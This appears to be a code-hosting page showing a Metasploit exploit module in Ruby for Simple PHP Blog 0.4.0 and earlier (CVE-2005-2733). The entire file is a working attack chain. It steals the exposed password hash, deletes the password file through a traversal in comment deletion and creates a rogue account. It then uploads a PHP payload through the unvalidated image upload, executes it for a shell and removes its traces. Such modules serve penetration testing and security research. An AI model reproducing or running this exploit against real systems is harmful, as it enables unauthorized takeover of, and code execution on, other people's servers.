c174e6a208
normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again.
236 lines
6.1 KiB
Ruby
236 lines
6.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Simple PHP Blog <= 0.4.0 Remote Command Execution',
|
|
'Description' => %q{
|
|
This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
|
|
application to upload arbitrary data and thus execute a shell. The first
|
|
vulnerability exposes the hash file (password.txt) to unauthenticated users.
|
|
The second vulnerability lies within the image upload system provided to
|
|
logged-in users; there is no image validation function in the blogger to
|
|
prevent an authenticated user from uploading any file type. The third
|
|
vulnerability occurs within the blog comment functionality, allowing
|
|
arbitrary files to be deleted.
|
|
},
|
|
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2005-2733'],
|
|
['OSVDB', '19012'],
|
|
['BID', '14667'],
|
|
['EDB', '1191'],
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'ConnectionType' => 'find',
|
|
},
|
|
},
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
'DisclosureDate' => 'Aug 25 2005',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
res = send_request_raw({
|
|
'uri' => normalize_uri(datastore['URI'], '/index.php')
|
|
}, 25)
|
|
|
|
if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)
|
|
|
|
ver = [ $1.to_i, $2.to_i, $3.to_i ]
|
|
print_status("Simple PHP Blog #{ver.join('.')}")
|
|
|
|
if (ver[0] == 0 and ver[1] < 5)
|
|
if (ver[1] == 4 and ver[2] > 0)
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def retrieve_password_hash(file)
|
|
|
|
res = send_request_raw({
|
|
'uri' => normalize_uri(datastore['URI'], file)
|
|
}, 25)
|
|
|
|
if (res and res.message == "OK" and res.body)
|
|
print_status("Successfully retrieved hash: #{res.body}")
|
|
return res.body
|
|
else
|
|
fail_with(Exploit::Failure::NotVulnerable, "Failed to retrieve hash, server may not be vulnerable.")
|
|
return false
|
|
end
|
|
end
|
|
|
|
def create_new_password(user, pass)
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(datastore['URI'], '/install03_cgi.php'),
|
|
'method' => 'POST',
|
|
'data' => "user=#{user}&pass=#{pass}",
|
|
}, 25)
|
|
|
|
if (res)
|
|
print_status("Successfully created temporary account.")
|
|
else
|
|
print_error("Unable to create a temporary account!")
|
|
end
|
|
end
|
|
|
|
def retrieve_session(user, pass)
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(datastore['URI'], "/login_cgi.php"),
|
|
'method' => 'POST',
|
|
'data' => "user=#{user}&pass=#{pass}",
|
|
}, 25)
|
|
|
|
if (res)
|
|
print_status("Successfully logged in as #{user}:#{pass}")
|
|
|
|
if (res.headers['Set-Cookie'] =~ /my_id=(.*)/)
|
|
session = $1
|
|
print_status("Successfully retrieved cookie: #{session}")
|
|
return session
|
|
else
|
|
print_error("Error retrieving cookie!")
|
|
end
|
|
else
|
|
print_error("No response received while logging in.")
|
|
end
|
|
end
|
|
|
|
def upload_page(session, dir, newpage, contents)
|
|
|
|
boundary = rand_text_alphanumeric(6)
|
|
|
|
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
|
|
data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
|
|
data << contents
|
|
data << "\r\n--#{boundary}--"
|
|
|
|
res = send_request_raw({
|
|
'uri' => normalize_uri(datastore['URI'], "/upload_img_cgi.php"),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'headers' =>
|
|
{
|
|
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
|
'Content-Length' => data.length,
|
|
'Cookie' => "my_id=#{session}; PHPSESSID=#{session}",
|
|
}
|
|
}, 25)
|
|
|
|
if (res)
|
|
print_status("Successfully uploaded #{newpage}")
|
|
else
|
|
print_error("Error uploading #{newpage}")
|
|
end
|
|
end
|
|
|
|
def reset_original_password(hash, scriptlocation)
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(datastore['URI'], scriptlocation),
|
|
'method' => 'POST',
|
|
'data' => "hash=" + hash,
|
|
}, 25)
|
|
|
|
if (res)
|
|
print_status("Successfully reset original password hash.")
|
|
else
|
|
print_error("Error resetting original password!")
|
|
end
|
|
end
|
|
|
|
def delete_file(file)
|
|
|
|
delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"
|
|
|
|
res = send_request_raw({
|
|
'uri' => normalize_uri(datastore['URI'], delete_path),
|
|
}, 25)
|
|
|
|
if (res)
|
|
print_status("Successfully removed #{file}")
|
|
else
|
|
print_error("Error removing #{file}!")
|
|
end
|
|
end
|
|
|
|
def cmd_shell(cmdpath)
|
|
print_status("Calling payload: #{cmdpath}")
|
|
|
|
res = send_request_raw({
|
|
'uri' => datastore['URI'] + cmdpath
|
|
}, 25)
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
# Define the scripts to be uploaded to aid in exploitation
|
|
cmd_php = '<?php ' + payload.encoded + '?>'
|
|
|
|
reset_php = %Q|
|
|
<?php $hash = $_POST['hash'];
|
|
$fp = fopen("../config/password.txt","w");
|
|
fwrite($fp,$hash);
|
|
fpclose($fp);
|
|
?>|
|
|
|
|
# Generate some random strings
|
|
cmdscript = rand_text_alphanumeric(20) + '.php'
|
|
resetscript = rand_text_alphanumeric(20) + '.php'
|
|
newuser = rand_text_alphanumeric(6)
|
|
newpass = rand_text_alphanumeric(6)
|
|
|
|
# Static files
|
|
directory = '/images/'
|
|
cmdpath = directory + cmdscript
|
|
resetpath = directory + resetscript
|
|
passwdfile = '/config/password.txt'
|
|
|
|
# Let's do this thing
|
|
hash = retrieve_password_hash(passwdfile)
|
|
delete_file(passwdfile)
|
|
create_new_password(newuser, newpass)
|
|
session = retrieve_session(newuser, newpass)
|
|
upload_page(session, directory, resetscript, reset_php)
|
|
upload_page(session, directory, cmdscript, cmd_php)
|
|
reset_original_password(hash, resetpath)
|
|
delete_file(resetpath)
|
|
cmd_shell(cmdpath)
|
|
delete_file(cmdpath)
|
|
end
|
|
end
|